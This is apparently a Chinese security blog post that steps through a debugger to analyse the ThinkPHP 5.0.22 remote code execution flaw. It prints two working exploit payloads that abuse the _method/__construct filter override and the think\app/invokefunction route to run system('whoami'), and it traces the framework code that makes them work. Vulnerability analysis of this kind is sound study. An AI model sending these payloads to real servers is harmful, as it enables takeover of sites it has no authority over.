logo头像

黑客的本质就是白嫖

thinkphp 5.0.22 rce漏洞学习

前言

前几天有人说thinkphp rce看不太懂,我看了一下貌似没有他说的不怎么懂的感觉(虽然后面还是被喷了说没搞懂),既然学了这里就记录一下

前置知识

thinkphpurl有四种模式,分别为普通模式、PATHINFO模式、REWRITE模式和兼容模式

四种模式的url格式如下

payload中涉及到的是其中的兼容模式,调用了里面的captcha模块

漏洞分析

POC1

1
2
3
4
http://localhost/tp5022/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

poc1中使用的payload如上,该payload貌似使用的人较少,看了几个人的复现文章用的都是另一个方法,也不知道为什么

下面就直接通过动态调试来看一下该payload各参数的作用以及漏洞利用流程吧

首先我们在thinkphp/library/think/App.php的如下位置下一个断点

tp_rce_1

接下来跟进到下面的routeCheck()函数调用处,我们继续往下看

routeCheck()函数出来以后,我们的$dispatch变量已经变成下面这样了

tp_rce_2

再继续往下,快到漏洞的触发点了

tp_rce_3

这个self::exec()函数里面某处就是该漏洞的一个已知的利用点了,我们跟进去看看

tp_rce_4

一进去我们就看到常威在打来福一个switch语句,其中用来判断的是我们之前提到的变量$dispatch,而变量的值是什么时候赋上去的呢?就是在刚刚说的routeCheck()函数处,我们回到前面,进入到函数内部查看一下

tp_rce_5

一进去在对$path的赋值处调用了$request->path(),跟进

tp_rce_6

这里又调用了pathinfo()函数,接着跟进

tp_rce_7

在箭头指向的这一行我们可以看到有一个Config::get('var_pathinfo'),下面的注释说这里的代码是用来判断URL中是否含有兼容模式参数,兼容模式参数是什么呢?

上面我们也介绍了,而那个s,就是这里的var_info,我们可以在网站根目录下的convention.php文件中找到不同的键对应的值

tp_rce_8

而最开始我们的payloadurl中就是有一个s=captcha,所以这个函数最终返回的值就是我们所赋的captcha,而上层函数path()的返回值也是captcha

再回到routeCheck()函数里,接着往下跟进

tp_rce_9

这里调用了Route::check(),传入的参数有$request和我们刚得到的$path,继续跟进

tp_rce_10

check()函数里又调用了$request->method(),跟进该函数,里面有对我们POST数据的处理过程

tp_rce_11

函数逻辑也很简单,如图524行处,又是一个如之前的var_pathinfo的使用,这里指的参数是_method,我们传入的值为__construct(任意函数调用),所以下面以$POST参数调用了Request类中的构造函数

tp_rce_12

即,对Request类中的部分变量进行了覆盖,包括将$filter设为了system和将$get设为了whoami,而这里又将method设为了get,而exec()函数中,关键的用于switchtype,则在routeCheck()函数中的以下位置被赋值为method

tp_rce_21

tp_rce_22

至此我们payload中的所有参数都起了作用,接下来就是在某一处执行命令了,我们继续往下跟进

tp_rce_13

这里就是rce发生的地方,让我们进去看看到底发生了什么

tp_rce_14

首先是一个switch,这里的type刚提到被赋值为了method,下面我们跳转到该分支下

tp_rce_15

这里调用了Request::instance()->param(),跟进

tp_rce_16

512行处我们将几个变量进行了合并,其中只有我们刚刚进行覆盖过的get不为空,继续

tp_rce_17

return处调用了input(),对几个参数进行处理,跟进

tp_rce_18

input()处又调用了getFilter()获取过滤器,而Request类中的$filter已经被我们赋值为了system,下面又对POST数据分别调用了call_user_func,至此rce成功

tp_rce_19

tp_rce_20

POC2

1
http://localhost/tp5022/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

payload2调用栈如下

1
2
3
4
5
6
App.php:343, think\App::invokeMethod()
App.php:606, think\App::module()
App.php:456, think\App::exec()
App.php:139, think\App::run()
start.php:19, require()
index.php:17, {main}()

跟着一步步分析,首先还是App.php里的routeCheck()函数

1
2
3
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}

poc1里一样,函数里调用了path()来获取请求的路径

1
2
3
4
5
6
7
8
9
10
public static function routeCheck($request, array $config)
{
$path = $request->path();
...
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
...
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
...

之后在check()函数处,则是返回false,并且进入另一个函数parseUrl()parseUrl()函数在这里做了两件事,一是把我们传入的s参数的值index/think\app/invokefunction里面的/替换成|,二是并将其分割存入一个数组中,也就是下面代码中的$route变量,而type的话这里也是给定了

1
return ['type' => 'module', 'module' => $route];

最后这个数组returnApp.php处,被赋值给$dispatch变量

然后我们又进入了exec()函数中,这次进入的分支和上一个不同,是module分支了

1
2
3
4
5
6
7
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;

跟入module()函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
...
// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
...
// 获取操作名
$actionName = strip_tags($result[2] ?: $config['default_action']);
...
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
}
...
$action = $actionName . $config['action_suffix'];
$vars = [];
if (is_callable([$instance, $action])) {
// 执行操作方法
$call = [$instance, $action];
// 严格获取当前操作方法名
$reflect = new \ReflectionMethod($instance, $action);
$methodName = $reflect->getName();
$suffix = $config['action_suffix'];
$actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
$request->action($actionName);

}
...
return self::invokeMethod($call, $vars);

该函数大致做了这些事情,获取请求的控制器名、方法名,并实例化,最后将实例化的对象($instance)、请求方法名(invokeFunction)和一个空的数组$vars传入到invokeMethod()中,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function invokeMethod($method, $vars = [])
{
if (is_array($method)) {
$class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
} else {
// 静态方法
$reflect = new \ReflectionMethod($method);
}

$args = self::bindParams($reflect, $vars);

self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

代码如上,这里通过反射将class名以及方法名存入到了$reflect中,并于空数组$vars一起作为参数调用了bindParams()函数,看名字能猜到大致功能,绑定参数,将url中剩下几个参数绑定到了$args变量中

最后则是return中的invokeArgs()函数了

1
2
3
4
5
6
7
8
9
10
public static function invokeFunction($function, $vars = [])
{
$reflect = new \ReflectionFunction($function);
$args = self::bindParams($reflect, $vars);

// 记录执行信息
self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

return $reflect->invokeArgs($args);
}

这里最后会调用call_user_func,执行传入的system函数并执行命令

tp_rce_23

总结

复现过程中个人的思路是先找漏洞发生点,再一个一个的逆推触发条件的赋值点,最后再分析利用过程,可能有点🐍,而且自己总感觉差了点什么,暂且先留着这篇文章等搞懂了再说

加上ref的文章貌似懂了点,POC2处,由于routeCheck()函数过滤做的不到位的问题,将think\app作为了控制器传入,最后在反射的时候调用了App.php里面的invokeFunction()并调用call_user_func造成命令执行,与POC1中的情况又不一样

References

THINKPHP5.0.22远程代码执行漏洞分析及复现

ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

thinkphp5.x-RCE分析

评论系统未开启,无法评论!